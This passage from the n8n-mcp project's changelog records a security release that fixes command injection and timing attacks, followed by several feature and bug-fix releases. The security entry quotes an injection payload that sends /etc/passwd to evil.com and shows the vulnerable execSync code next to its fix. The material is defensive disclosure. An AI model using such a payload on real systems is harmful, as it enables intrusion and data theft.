- **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
- **🚨 CRITICAL-01: Command Injection Vulnerability**
- **Issue:** User-controlled `nodeType` parameter injected into shell commands via `execSync`
- **Impact:** Remote code execution, data exfiltration, network scanning possible
- **Attack Vector:** Malicious nodeType like `test"; curl http://evil.com/$(cat /etc/passwd | base64) #`
- **Vulnerable Code (FIXED):** `src/utils/enhanced-documentation-fetcher.ts:567-590`
- **Fix:** Eliminated all shell execution, replaced with Node.js fs APIs
- Replaced `execSync()` with `fs.readdir()` (recursive, no shell)
- Added multi-layer input sanitization: `/[^a-zA-Z0-9._-]/g`
- Added directory traversal protection (blocks `..`, `/`, relative paths)
- Added `path.basename()` for additional safety
- Added final path verification (ensures result within expected directory)
- **Benefits:**
- ✅ 100% immune to command injection (no shell execution)
- ✅ Cross-platform compatible (no dependency on `find`/`grep`)
- ✅ Faster (no process spawning overhead)
- ✅ Better error handling and logging
- **Verification:** 9 integration tests covering all attack vectors
- **CVSS:** 8.8 (High) - Requires MCP access but trivially exploitable
- **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
### Added
- **Security Test Suite**
- Unit Tests: `tests/unit/utils/auth-timing-safe.test.ts` (11 tests)
- Timing variance analysis (proves <10% variance = constant-time)
- Edge cases: null, undefined, empty, very long tokens (10000 chars)
- Special characters, Unicode, whitespace handling
- Case sensitivity verification
- Integration Tests: `tests/integration/security/command-injection-prevention.test.ts` (9 tests)
- Command injection with all vectors (semicolon, &&, |, backticks, $(), newlines)
- Directory traversal prevention (parent dir, URL-encoded, absolute paths)
- Special character sanitization
- Null byte handling
- Legitimate operations (ensures fix doesn't break functionality)
### Changed
- **Authentication:** All token comparisons now use timing-safe algorithm
- **Documentation Fetcher:** Now uses Node.js fs APIs instead of shell commands
- **Security Posture:** Production-ready with hardened authentication and input validation
### Technical Details
**Timing-Safe Comparison Implementation:**
```typescript
// NEW: Constant-time comparison utility
static timingSafeCompare(plainToken: string, expectedToken: string): boolean {
try {
if (!plainToken || !expectedToken) return false;
const plainBuffer = Buffer.from(plainToken, 'utf8');
const expectedBuffer = Buffer.from(expectedToken, 'utf8');
if (plainBuffer.length !== expectedBuffer.length) return false;
// Uses crypto.timingSafeEqual for constant-time comparison
return crypto.timingSafeEqual(plainBuffer, expectedBuffer);
} catch {
return false;
}
}
// USAGE: Replace token !== this.authToken with:
const isValidToken = this.authToken &&
AuthManager.timingSafeCompare(token, this.authToken);
```
**Command Injection Fix:**
```typescript
// BEFORE (VULNERABLE):
execSync(`find ${this.docsPath}/docs/integrations/builtin -name "${nodeType}.md"...`)
// AFTER (SECURE):
const sanitized = nodeType.replace(/[^a-zA-Z0-9._-]/g, '');
if (sanitized.includes('..') || sanitized.startsWith('.') || sanitized.startsWith('/')) {
logger.warn('Path traversal attempt blocked', { nodeType, sanitized });
return null;
}
const safeName = path.basename(sanitized);
const files = await fs.readdir(searchPath, { recursive: true });
const match = files.find(f => f.endsWith(`${safeName}.md`) && !f.includes('credentials'));
```
### Breaking Changes
**None** - All changes are backward compatible. No API changes, no environment variable changes, no database migrations.
### Migration Guide
**No action required** - This is a drop-in security fix. Simply upgrade:
```bash
npm install [email protected]
# or
npm update n8n-mcp
```
### Deployment Notes
**Recommended Actions:**
1. ✅ **Upgrade immediately** - These are critical security fixes
2. ✅ **Review logs** - Check for any suspicious authentication attempts or unusual nodeType parameters
3. ✅ **Rotate tokens** - Consider rotating AUTH_TOKEN after upgrade (optional but recommended)
**No configuration changes needed** - The fixes are transparent to existing deployments.
### Test Results
**All Tests Passing:**
- Unit tests: 11/11 ✅ (timing-safe comparison)
- Integration tests: 9/9 ✅ (command injection prevention)
- Timing variance: <10% ✅ (proves constant-time)
- All existing tests: ✅ (no regressions)
**Security Verification:**
- ✅ No command execution with malicious inputs
- ✅ Timing attack variance <10% (statistical analysis over 1000 samples)
- ✅ Directory traversal blocked (parent dir, absolute paths, URL-encoded)
- ✅ All special characters sanitized safely
### Audit Trail
**Security Audit:** Issue #265 - Third-party security audit identified 25 issues
**This Release:** Fixes 2 CRITICAL issues (CRITICAL-01, CRITICAL-02)
**Remaining Work:** 20 issues to be addressed in subsequent releases (HIGH, MEDIUM, LOW priority)
### References
- Security Audit: https://github.com/czlonkowski/n8n-mcp/issues/265
- Implementation Plan: `docs/local/security-implementation-plan-issue-265.md`
- Audit Analysis: `docs/local/security-audit-analysis-issue-265.md`
---
## [2.16.1] - 2025-10-06
### Fixed
- **🐛 Issue #277: Missing Signal Handlers in stdio Mode**
- **Problem**: Node.js processes remained orphaned when Claude Desktop quit
- **Platform**: Primarily affects Windows 11, but improves reliability on all platforms
- **Root Cause**: stdio mode never registered SIGTERM/SIGINT signal handlers
- **Impact**: Users had to manually kill processes via Task Manager after quitting Claude Desktop
- **Fix**: Added comprehensive graceful shutdown handlers for stdio mode
- SIGTERM, SIGINT, and SIGHUP signal handlers
- stdin end/close event handlers (PRIMARY shutdown mechanism for Claude Desktop)
- Robust container detection: Checks IS_DOCKER/IS_CONTAINER env vars + filesystem markers
- Supports Docker, Kubernetes, Podman, and other container runtimes
- Container mode: Signal handlers only (prevents detached mode premature shutdown)
- Claude Desktop mode: stdin + signal handlers (comprehensive coverage)
- Race condition protection with `isShuttingDown` guard
- stdin cleanup with null safety (pause + destroy)
- Graceful shutdown timeout (1000ms) to allow cleanup to complete
- Error handling with try-catch for stdin registration and shutdown
- Shutdown trigger logging for debugging (SIGTERM vs stdin close)
- Production-hardened based on comprehensive code review
- **Location**: `src/mcp/index.ts:91-132`
- **Resources Cleaned**: Cache timers and database connections properly closed via existing `shutdown()` method
- **Code Review**: Approved with recommendations implemented
- **Reporter**: @Eddy-Chahed
## [2.16.0] - 2025-10-06
### Added
- **🎉 Issue #272 Phase 1: Connection Operations UX Improvements**
**New: `rewireConnection` Operation**
- Intuitive operation for changing connection target from one node to another
- Syntax: `{type: "rewireConnection", source: "Node", from: "OldTarget", to: "NewTarget"}`
- Internally uses remove + add pattern but with clearer semantics
- Supports smart parameters (branch, case) for multi-output nodes
- Validates all nodes exist before making changes
- 8 comprehensive unit tests covering all scenarios
**New: Smart Parameters for Multi-Output Nodes**
- **branch parameter for IF nodes**: Use `branch: "true"` or `branch: "false"` instead of `sourceIndex: 0/1`
- **case parameter for Switch nodes**: Use `case: 0`, `case: 1`, etc. instead of `sourceIndex`
- Semantic, intuitive syntax that matches node behavior
- Explicit sourceIndex overrides smart parameters if both provided
- Works with both `addConnection` and `rewireConnection` operations
- 8 comprehensive unit tests + 11 integration tests against real n8n API
### Changed
- **⚠️ BREAKING: Removed `updateConnection` operation**
- Operation removed completely (type definition, implementation, validation, tests)
- Migration: Use `rewireConnection` or `removeConnection` + `addConnection` instead
- Reason: Confusing operation that was error-prone and rarely needed
- All tests updated (137 tests passing)
### Fixed
- **🐛 CRITICAL: Issue #275, #136 - TypeError in getNodeTypeAlternatives (57.4% of production errors)**
- **Impact**: Eliminated 323 out of 563 production errors, helping 127 users (76.5% of affected users)
- **Resolves Issue #136**: "Partial Workflow Updates fail with 'Cannot convert undefined or null to object'" - defensive type guards prevent these crashes
- **Root Cause**: `getNodeTypeAlternatives()` called string methods without validating nodeType parameter
- **Fix**: Added defense-in-depth protection:
- **Layer 1**: Type guard in `getNodeTypeAlternatives()` returns empty array for invalid inputs
- **Layer 2**: Enhanced `validateToolParamsBasic()` to catch empty strings
- **Affected Tools**: `get_node_essentials` (208 errors → 0), `get_node_info` (115 errors → 0), `get_node_documentation` (17 errors → 0)
- **Testing**: 21 comprehensive unit tests, verified with n8n-mcp-tester agent
- **Commit**: f139d38
- **Critical Bug: Smart Parameter Implementation**
- **Bug #1**: `branch` parameter initially mapped to `sourceOutput` instead of `sourceIndex`
- **Impact**: IF node connections went to wrong output (expected `IF.main[0]`, got `IF.true`)
- **Root Cause**: Misunderstood n8n's IF node connection structure
- **Fix**: Changed to correctly map `branch="true"` → `sourceIndex=0`, `branch="false"` → `sourceIndex=1`
- **Discovered by**: n8n-mcp-tester agent testing against real n8n API
- **Commit**: a7bfa73
- **Critical Bug: Zod Schema Stripping Parameters**
- **Bug #2**: `branch`, `case`, `from`, `to` parameters stripped by Zod validation
- **Impact**: Parameters never reached diff engine, smart parameters silently failed
- **Root Cause**: Parameters not defined in Zod schema in handlers-workflow-diff.ts
- **Fix**: Added missing parameters to schema
- **Discovered by**: n8n-mcp-tester agent
- **Commit**: aeaba3b
- **🔥 CRITICAL Bug: Array Index Corruption in Multi-Output Nodes**
- **Bug #3**: `applyRemoveConnection()` filtered empty arrays, causing index shifting in multi-output nodes
- **Impact**: PRODUCTION-BREAKING for Switch, IF with multiple handlers, Merge nodes
- **Severity**: Connections routed to wrong outputs after rewiring
- **Example**: Switch with 4 outputs `[[H0], [H1], [H2], [H3]]` → remove H1 → `[[H0], [H2], [H3]]` (indices shifted!)
- **Root Cause**: Line 697 filtered empty arrays: `connections.filter(conns => conns.length > 0)`
- **Fix**: Only remove trailing empty arrays, preserve intermediate ones to maintain index integrity
- **Code Change**:
```typescript
// Before (BUGGY):
workflow.connections[node][output] = connections.filter(conns => conns.length > 0);
// After (FIXED):
while (connections.length > 0 && connections[connections.length - 1].length === 0) {
connections.pop();
}
```
- **Testing**: Added integration test verifying Switch node rewiring preserves all indices
- **Discovered by**: n8n-mcp-tester agent during comprehensive testing
- **Commit**: aeb7410
- **TypeScript Compilation**: Added missing type annotations in workflow diff tests (Commit: 653f395)
### Improved
- **Integration Testing**: Created comprehensive integration tests against real n8n API
- 11 tests covering IF nodes, Switch nodes, and rewireConnection
- Tests validate actual n8n workflow structure, not in-memory objects
- Would have caught both smart parameter bugs that unit tests missed
- File: `tests/integration/n8n-api/workflows/smart-parameters.test.ts`
- **Commit**: 34bafe2
- **Documentation**: Updated MCP tool documentation
- Removed `updateConnection` references
- Added `rewireConnection` with 4 examples
- Added smart parameters section with IF and Switch examples
- Updated best practices and pitfalls
- Removed version references (AI agents see current state)
- Files: `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts`, `docs/workflow-diff-examples.md`
- **Commit**: f78f53e
### Test Coverage
- **Total Tests**: 178 tests passing (158 unit + 20 integration against real n8n API)
- **Coverage**: 90.98% statements, 89.86% branches, 93.02% functions
- **Quality**: Integration tests against real n8n API prevent regression
- **New Tests**:
- 21 tests for TypeError prevention (Issue #275)
- 8 tests for rewireConnection operation
- 8 tests for smart parameters
- 20 integration tests against real n8n API:
- **Multi-output nodes (sourceIndex preservation)**:
- Switch node rewiring with index preservation
- IF node empty array preservation on removal
- Switch node removing first case (production-breaking bug scenario)
- Sequential operations on Switch node
- Filter node connection rewiring
- **Multi-input nodes (targetIndex preservation)**:
- Merge node removing connection to input 0
- Merge node removing middle connection (inputs 0, 2 preserved)
- Merge node replacing source connections
- Merge node sequential operations
### Technical Details
**TypeError Prevention (Issue #275):**
```typescript
// Layer 1: Defensive utility function
export function getNodeTypeAlternatives(nodeType: string): string[] {
// Return empty array for invalid inputs instead of crashing
if (!nodeType || typeof nodeType !== 'string' || nodeType.trim() === '') {
return [];
}
// ... rest of function
}
// Layer 2: Enhanced validation
if (param === '') {
errors.push(`String parameters cannot be empty. Parameter '${key}' has value: ""`);
}
```
**Smart Parameters Resolution:**
```typescript
// Resolve branch parameter for IF nodes
if (operation.branch !== undefined && operation.sourceIndex === undefined) {
if (sourceNode?.type === 'n8n-nodes-base.if') {
sourceIndex = operation.branch === 'true' ? 0 : 1;
// sourceOutput remains 'main'
}
}
// Resolve case parameter for Switch nodes
if (operation.case !== undefined && operation.sourceIndex === undefined) {
sourceIndex = operation.case;
}
```
**Real n8n IF Node Structure:**
```json
"IF": {
"main": [
[/* true branch connections, index 0 */],
[/* false branch connections, index 1 */]
]
}
```
### Migration Guide
**Before (v2.15.7):**
```typescript
// Old way: updateConnection (REMOVED)
{type: "updateConnection", source: "Webhook", target: "Handler", updates: {...}}
// Old way: Multi-output nodes (still works)
{type: "addConnection", source: "IF", target: "Success", sourceIndex: 0}
```
**After (v2.16.0):**
```typescript
// New way: rewireConnection
{type: "rewireConnection", source: "Webhook", from: "OldHandler", to: "NewHandler"}
// New way: Smart parameters (recommended)
{type: "addConnection", source: "IF", target: "Success", branch: "true"}
{type: "addConnection", source: "IF", target: "Error", branch: "false"}
{type: "addConnection", source: "Switch", target: "Handler", case: 0}
```
### Impact Summary
**Production Error Reduction:**
- Issue #275 fix: -323 errors (-57.4% of total production errors)
- Helps 127 users (76.5% of users experiencing errors)
**UX Improvements:**
- Semantic parameters make multi-output node connections intuitive
- `rewireConnection` provides clear intent for connection changes
- Integration tests ensure production reliability
**Breaking Changes:**
- `updateConnection` removed (use `rewireConnection` or manual remove+add)
### References
- **Issue #272**: Connection operations improvements (Phase 0 + Phase 1)
- **Issue #204**: Differential update failures on Windows
- **Issue #275**: TypeError in getNodeTypeAlternatives
- **Issue #136**: Partial Workflow Updates fail with "Cannot convert undefined or null to object" (resolved by defensive type guards)
- **Commits**:
- Phase 0: cfe3c5e, 653f395, 2a85000
- Phase 1: f9194ee, ee125c5, a7bfa73, aeaba3b, 34bafe2, c6e0e52, f78f53e
- Issue #275/#136: f139d38
## [2.15.7] - 2025-10-05
### Fixed
- **🐛 CRITICAL: Issue #272, #204 - Connection Operations Phase 0 Fixes**
**Bug #1: Multi-Output Node Routing Broken**
- **Problem**: `addConnection` ignored `sourceIndex` parameter due to `||` operator treating `0` as falsy
- **Impact**: IF nodes, Switch nodes, and all conditional routing completely broken
- **Root Cause**: Used `operation.sourceIndex || 0` instead of `operation.sourceIndex ?? 0`
- **Fix**: Changed to nullish coalescing (`??`) operator to properly handle explicit `0` values
- **Added**: Defensive array validation before index access
- **Result**: Multi-output nodes now work reliably (rating improved 3/10 → 9/10)
- **Test Coverage**: 6 comprehensive tests covering IF nodes, Switch nodes, and parallel execution
**Bug #2: Server Crashes from Missing `updates` Object**
- **Problem**: `updateConnection` without `updates` object caused server crash with "Cannot read properties of undefined"
- **Impact**: Malformed requests from AI agents crashed the MCP server
- **Fix**: Added runtime validation with comprehensive error message
- **Error Message Quality**:
- Shows what was provided (JSON.stringify of operation)
- Explains what's wrong and why
- Provides correct format with example
- Suggests alternative approach (removeConnection + addConnection)
- **Result**: No crashes, self-service troubleshooting enabled (rating improved 2/10 → 8/10)
- **Test Coverage**: 2 tests for missing and invalid `updates` object
### Improved
- **Connection Operations Overall Experience**: 4.5/10 → 8.5/10 (+89% improvement)
- **Error Handling**: Helpful, actionable error messages instead of cryptic crashes
- **Documentation**: Updated tool docs with Phase 0 fix notes and new pitfall warnings
- **Developer Experience**: Better use of nullish coalescing, defensive programming patterns
### Test Coverage
- Total Tests: 126/126 passing (100%)
- New Tests: 8 comprehensive tests for Phase 0 fixes
- Coverage: 91.16% statements, 88.14% branches, 92.85% functions
- Test Quality: All edge cases covered, strong assertions, independent test isolation
### Technical Details
**Multi-Output Node Fix:**
```typescript
// Before (BROKEN):
const sourceIndex = operation.sourceIndex || 0; // 0 treated as falsy!
// After (FIXED):
const sourceIndex = operation.sourceIndex ?? 0; // explicit 0 preserved
```
**Runtime Validation Fix:**
```typescript
// Added comprehensive validation:
if (!operation.updates || typeof operation.updates !== 'object') {
throw new Error(/* helpful 15-line error message */);
}
```
### References
- Issue #272: Connection operations failing (Polish language issue report)
- Issue #204: Differential update failures on Windows
- Analysis Document: `docs/local/connection-operations-deep-dive-and-improvement-plan.md` (2176 lines)
- Testing: Hands-on validation with n8n-mcp-tester agent
- Code Review: Comprehensive review against improvement plan
### Phase 1 Roadmap
Phase 0 addressed critical bugs. Future Phase 1 improvements planned:
- Add `rewireConnection` operation for intuitive connection rewiring
- Add smart parameters (`branch` for IF nodes, `case` for Switch nodes)
- Enhanced error messages with spell-checking
- Deprecation path for `updateConnection`
## [2.15.6] - 2025-10-05
### Fixed
- **Issue #269: Missing addNode Examples** - Added comprehensive examples for addNode operation in MCP tool documentation
- Problem: Claude AI didn't know how to use addNode operation correctly due to zero examples in documentation
- Solution: Added 4 progressive examples to `n8n_update_partial_workflow` tool documentation:
1. Basic addNode (minimal configuration)
2. Complete addNode (full parameters including typeVersion)
3. addNode + addConnection combo (most common pattern)
4. Batch operation (multiple nodes + connections)
- Impact: AI assistants can now correctly use addNode without errors or trial-and-error
- **Issue #270: Apostrophes in Node Names** - Fixed workflow diff operations failing when node names contain special characters
- Root Cause: `findNode()` method used exact string matching without normalization, causing escaped vs unescaped character mismatches
- Example: Default Manual Trigger node name "When clicking 'Execute workflow'" failed when JSON-RPC sent escaped version "When clicking \\'Execute workflow\\'"
- Solution: Added `normalizeNodeName()` helper that unescapes special characters (quotes, backslashes) and normalizes whitespace
- Affected Operations: 8 operations fixed - addConnection, removeConnection, updateConnection, removeNode, updateNode, moveNode, enableNode, disableNode
- Error Messages: Enhanced all validation methods with `formatNodeNotFoundError()` helper showing available nodes and suggesting node IDs for special characters
- Duplicate Prevention: Fixed `validateAddNode()` to use normalization when checking for duplicate node names
### Changed
- **WorkflowDiffEngine String Normalization** - Enhanced to handle edge cases from code review
- Regex Processing Order: Fixed critical bug - now processes backslashes BEFORE quotes (prevents multiply-escaped character failures)
- Whitespace Handling: Comprehensive normalization of tabs, newlines, and mixed whitespace (prevents collision edge cases)
- Documentation: Added detailed JSDoc warnings about normalization collision risks with examples
- Best Practice: Documentation recommends using node IDs over names for special characters
### Technical Details
- **Normalization Algorithm**: 4-step process
1. Trim leading/trailing whitespace
2. Unescape backslashes (MUST be first!)
3. Unescape single and double quotes
4. Normalize all whitespace to single spaces
- **Error Message Format**: Now shows node IDs (first 8 chars) and suggests using IDs for special characters
- **Collision Prevention**: Duplicate checking uses same normalization to prevent subtle bugs
### Test Coverage
- Unit tests: 120/120 passing (up from 116)
- New test scenarios:
- Tabs in node names
- Newlines in node names
- Mixed whitespace (tabs + newlines + spaces)
- Escaped vs unescaped matching (core Issue #270 scenario)
- Coverage: 90.11% statements (up from 90.05%)
### Code Review
- All 6 MUST FIX and SHOULD FIX recommendations implemented:
- ✅ Fixed regex processing order (critical bug)
- ✅ Added comprehensive whitespace tests
- ✅ Fixed duplicate checking normalization
- ✅ Enhanced all 6 validation method error messages
- ✅ Added comprehensive JSDoc documentation
- ✅ Added escaped vs unescaped test case
- Final review: APPROVED FOR MERGE (production-ready)
### Impact
- **Workflow Operations**: All 8 affected operations now handle special characters correctly
- **User Experience**: Clear error messages with actionable suggestions
- **Reliability**: Comprehensive normalization prevents subtle bugs
- **Documentation**: Tool documentation updated to reflect fix (v2.15.6+)
## [2.15.5] - 2025-10-04
### Added
- **Phase 5 Integration Tests** - Comprehensive workflow management tests (16 scenarios)
- `delete-workflow.test.ts`: 3 test scenarios
- Successful deletion
- Error handling for non-existent workflows
- Cleanup verification (workflow actually deleted from n8n)
- `list-workflows.test.ts`: 13 test scenarios
- No filters (all workflows)
- Filter by active status (true/false)
- Pagination (first page, cursor, last page)
- Limit variations (1, 50, 100)
- Exclude pinned data
- Empty results handling
- Sort order consistency verification
### Fixed
- **handleDeleteWorkflow** - Now returns deleted workflow data in response
- Before: Returned only success message
- After: Returns deleted workflow object per n8n API specification
- Impact: MCP tool consumers can access deleted workflow data for confirmation, logging, or undo operations
- **handleListWorkflows Tags Filter** - Fixed tags parameter format for n8n API compliance
- Before: Sent tags as array `?tags[]=tag1&tags[]=tag2` (non-functional)
- After: Converts to comma-separated string `?tags=tag1,tag2` per n8n OpenAPI spec
- Impact: Tags filtering now works correctly when listing workflows
- Implementation: `input.tags.join(',')` conversion in handler
- **N8nApiClient.deleteWorkflow** - Return type now matches n8n API specification
- Before: `Promise<void>`
- After: `Promise<Workflow>` (returns deleted workflow object)
- Impact: Aligns with n8n API behavior where DELETE returns the deleted resource
### Changed
- **WorkflowListParams.tags** - Type changed for API compliance
- Before: `tags?: string[] | null` (incorrect)
- After: `tags?: string | null` (comma-separated string per n8n OpenAPI spec)
- Impact: Type safety now matches actual API behavior
### Technical Details
- **API Compliance**: All fixes align with n8n OpenAPI specification
- **Backward Compatibility**: Handler maintains existing MCP tool interface (array input converted internally)
- **Type Safety**: TypeScript types now accurately reflect n8n API contracts
### Test Coverage
- Integration tests: 71/71 passing (Phase 1-5 complete)
- Total test scenarios across all phases: 87
- New coverage:
- Workflow deletion: 3 scenarios
- Workflow listing with filters: 13 scenarios
### Impact
- **DELETE workflows**: Now returns workflow data for verification
- **List with tags**: Tag filtering now functional (was broken before)
- **API alignment**: Implementation correctly matches n8n OpenAPI specification
- **Test reliability**: All integration tests passing in CI
## [2.15.4] - 2025-10-04
### Fixed
- **Workflow Settings Updates** - Enhanced `cleanWorkflowForUpdate` to enable settings updates while maintaining Issue #248 protection
- Changed from always overwriting settings with `{}` to filtering to whitelisted properties
- Filters settings to OpenAPI spec whitelisted properties: `saveExecutionProgress`, `saveManualExecutions`, `saveDataErrorExecution`, `saveDataSuccessExecution`, `executionTimeout`, `errorWorkflow`, `timezone`, `executionOrder`
- Removes unsafe properties like `callerPolicy` that cause "additional properties" API errors
- Maintains backward compatibility: empty object `{}` still used when no settings provided
- Resolves conflict between preventing Issue #248 errors and enabling legitimate settings updates
- **Phase 4 Integration Tests** - Fixed workflow update tests to comply with n8n API requirements
- Updated all `handleUpdateWorkflow` tests to include required fields: `name`, `nodes`, `connections`, `settings`
- Tests now fetch current workflow state before updates to obtain required fields
- Removed invalid "Update Connections" test that attempted to set empty connections on multi-node workflow (architecturally invalid)
- All 42 workflow update test scenarios now passing
### Changed
- **Settings Filtering Strategy** - Updated `cleanWorkflowForUpdate()` implementation
- Before: Always set `settings = {}` (prevented all settings updates)
- After: Filter to whitelisted properties (allows valid updates, blocks problematic ones)
- Impact: Users can now update workflow settings via API while staying protected from validation errors
### Technical Details
- **Whitelist-based Filtering**: Implements principle of least privilege for settings properties
- **Reference**: Properties validated against n8n OpenAPI specification `workflowSettings` schema
- **Security**: More secure than blacklist approach (fails safe, unknown properties filtered)
- **Performance**: Filtering adds <1ms overhead per workflow update
### Test Coverage
- Unit tests: 72/72 passing (100% coverage for n8n-validation)
- Integration tests: 433/433 passing (Phase 4 complete)
- Test scenarios:
- Settings filtering with safe/unsafe property combinations
- Empty settings handling
- Backward compatibility verification
- Multi-node workflow connection validation
### Impact
- **Settings Updates**: Users can now update workflow settings (timezone, executionOrder, etc.) via API
- **Issue #248 Protection Maintained**: `callerPolicy` and other problematic properties still filtered
- **Test Reliability**: All Phase 4 integration tests passing in CI
- **API Compliance**: Tests correctly implement n8n API requirements for workflow updates
## [2.15.3] - 2025-10-03
### Added
- **Error Message Capture in Telemetry** - Enhanced telemetry tracking to capture actual error messages for better debugging
- Added optional `errorMessage` parameter to `trackError()` method
- Comprehensive error message sanitization to protect sensitive data
- Updated all production and test call sites to pass error messages
- Error messages now stored in telemetry events table for analysis
### Security
- **Enhanced Error Message Sanitization** - Comprehensive security hardening for telemetry data
- **ReDoS Prevention**: Early truncation to 1500 chars before regex processing
- **Full URL Redaction**: Changed from `[URL]/path` to `[URL]` to prevent API structure leakage
- **Correct Sanitization Order**: URLs → specific credentials → emails → generic patterns
- **Credential Pattern Detection**: Added AWS keys, GitHub tokens, JWT, Bearer tokens
- **Error Handling**: Try-catch wrapper with `[SANITIZATION_FAILED]` fallback
- **Stack Trace Truncation**: Limited to first 3 lines to reduce attack surface
### Fixed
- **Missing Error Messages**: Resolved issue where 272+ weekly validation errors had no error messages captured
- **Data Leakage**: Fixed URL path preservation exposing API versions and user IDs
- **Email Exposure**: Fixed sanitization order allowing emails in URLs to leak
- **ReDoS Vulnerability**: Removed complex capturing regex patterns that could cause performance issues
### Changed
- **Breaking Change**: `trackError()` signature updated with 4th parameter `errorMessage?: string`
- All internal call sites updated in single commit (atomic change)
- Not backwards compatible but acceptable as all code is internal
### Technical Details
- **Sanitization Patterns**:
- AWS Keys: `AKIA[A-Z0-9]{16}` → `[AWS_KEY]`
- GitHub Tokens: `ghp_[a-zA-Z0-9]{36,}` → `[GITHUB_TOKEN]`
- JWT: `eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+` → `[JWT]`
- Bearer Tokens: `Bearer [^\s]+` → `Bearer [TOKEN]`
- Emails: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}` → `[EMAIL]`
- Long Keys: `\b[a-zA-Z0-9_-]{32,}\b` → `[KEY]`
- Generic Credentials: `password/api_key/token=<value>` → `<field>=[REDACTED]`
### Test Coverage
- Added 18 new security-focused tests
- Total telemetry tests: 269 passing
- Coverage: 90.75% for telemetry module
- All security patterns validated with edge cases
### Performance
- Early truncation prevents ReDoS attacks
- Simplified regex patterns (no complex capturing groups)
- Sanitization adds <1ms overhead per error
- Final message truncated to 500 chars max
### Impact
- **Debugging**: Error messages now available for root cause analysis
- **Security**: Comprehensive protection against credential leakage
- **Performance**: Protected against ReDoS attacks
- **Reliability**: Try-catch ensures sanitization never breaks telemetry
## [2.15.2] - 2025-10-03
### Fixed
- **Template Search Performance & Reliability** - Enhanced `search_templates_by_metadata` with production-ready improvements
- **Ordering Stability**: Implemented CTE with VALUES clause to preserve exact Phase 1 ordering
- Prevents ordering discrepancies between ID selection and data fetch phases
- Ensures deterministic results across query phases
- **Defensive ID Validation**: Added type safety filters before Phase 2 query
- Validates only positive integers are used in the CTE
- Logs warnings for filtered invalid IDs
- **Performance Monitoring**: Added detailed timing metrics (phase1Ms, phase2Ms, totalMs)
- Enables quantifying optimization benefits
- Debug logging for all search operations
- **DRY Refactoring**: Extracted `buildMetadataFilterConditions` helper method
- Eliminates duplication between `searchTemplatesByMetadata` and `getMetadataSearchCount`
- Centralized filter-building logic
### Added
- **Comprehensive Test Coverage** - 31 new unit tests achieving 100% coverage for changed code
- `buildMetadataFilterConditions` - All filter combinations (11 tests)
- Performance logging validation (3 tests)
- ID filtering edge cases - negative, zero, non-integer, null (7 tests)
- `getMetadataSearchCount` - Shared helper usage (7 tests)
- Two-phase query optimization verification (3 tests)
- Fixed flaky integration tests with deterministic ordering using unique view counts
### Performance
- Query optimization maintains sub-1ms Phase 1 performance
- Two-phase approach prevents timeout on large template sets
- CTE-based ordering adds negligible overhead (<1ms)
### Test Results
- Unit tests: 31 new tests, all passing
- Integration tests: 36 passing, 1 skipped
- **Coverage**: 100% for changed code (previously 36.58% patch coverage)
## [2.15.0] - 2025-10-02
### 🚀 Major Features
#### P0-R3: Pre-extracted Template Configurations
- **Template-Based Configuration System** - 2,646 real-world node configurations from popular templates
- Pre-extracted node configurations from all workflow templates
- Ranked by template popularity (views)
- Includes metadata: complexity, use cases, credentials, expressions
- Query performance: <1ms (vs 30-60ms with previous system)
- Database size increase: ~513 KB for 2,000+ configurations
### Breaking Changes
#### Removed: `get_node_for_task` Tool
- **Reason**: Only 31 hardcoded tasks, 28% failure rate in production
- **Replacement**: Template-based examples with 2,646 real configurations
#### Migration Guide
**Before (v2.14.7):**
```javascript
// Get configuration for a task
get_node_for_task({ task: "receive_webhook" })
```
**After (v2.15.0):**
```javascript
// Option 1: Search nodes with examples
search_nodes({
query: "webhook",
includeExamples: true
})
// Returns: Top 2 real template configs per node
// Option 2: Get node essentials with examples
get_node_essentials({
nodeType: "nodes-base.webhook",
includeExamples: true
})
// Returns: Top 3 real template configs with full metadata
```
### Added
- **Enhanced `search_nodes` Tool**
- New parameter: `includeExamples` (boolean, default: false)
- Returns top 2 real-world configurations per node from popular templates
- Includes: configuration, template name, view count
- **Enhanced `get_node_essentials` Tool**
- New parameter: `includeExamples` (boolean, default: false)
- Returns top 3 real-world configurations with full metadata
- Includes: configuration, source template, complexity, use cases, credentials info
- **Database Schema**
- New table: `template_node_configs` - Pre-extracted node configurations
- New view: `ranked_node_configs` - Easy access to top 5 configs per node
- Optimized indexes for fast queries (<1ms)
- **Template Processing**
- Automatic config extraction during `npm run fetch:templates`
- Standalone extraction mode: `npm run fetch:templates:extract`
- Expression detection ({{...}}, $json, $node)
- Complexity analysis and use case extraction
- Ranking by template popularity
- Auto-creates `template_node_configs` table if missing
- **Comprehensive Test Suite**
- 85+ tests covering all aspects of template configuration system
- Integration tests for database operations and end-to-end workflows
- Unit tests for tool parameters, extraction logic, and ranking algorithm
- Fixtures for consistent test data across test suites
- Test documentation in P0-R3-TEST-PLAN.md
### Removed
- Tool: `get_node_for_task` (see Breaking Changes above)
- Tool documentation: `get-node-for-task.ts`
### Fixed
- **`search_nodes` includeExamples Support**
- Fixed `includeExamples` parameter not working due to missing FTS5 table
- Added example support to `searchNodesLIKE` fallback method
- Now returns template-based examples in all search scenarios
- Affects 100% of search_nodes calls (database lacks nodes_fts table)
### Deprecated
- `TaskTemplates` service marked for removal in v2.16.0
- `list_tasks` tool marked for deprecation (use template search instead)
### Performance
- Query time: <1ms for pre-extracted configs (vs 30-60ms for on-demand generation)
- 30-60x faster configuration lookups
- 85x more configuration examples (2,646 vs 31)
## [2.14.7] - 2025-10-02
### Fixed
- **Issue #248: Settings Validation Error** - Fixed "settings must NOT have additional properties" API errors
- Added `callerPolicy` property to `workflowSettingsSchema` to support valid n8n workflow setting
- Implemented whitelist-based settings filtering in `cleanWorkflowForUpdate()` to prevent API errors
- Filter removes UI-only properties (e.g., `timeSavedPerExecution`) that cause validation failures
- Only whitelisted properties are sent to n8n API: `executionOrder`, `timezone`, `saveDataErrorExecution`, `saveDataSuccessExecution`, `saveManualExecutions`, `saveExecutionProgress`, `executionTimeout`, `errorWorkflow`, `callerPolicy`
- Resolves workflow update failures caused by workflows fetched from n8n containing non-standard properties
- Added 6 comprehensive unit tests covering settings filtering scenarios
- **Issue #249: Misleading AddConnection Error Messages** - Enhanced parameter validation with helpful error messages
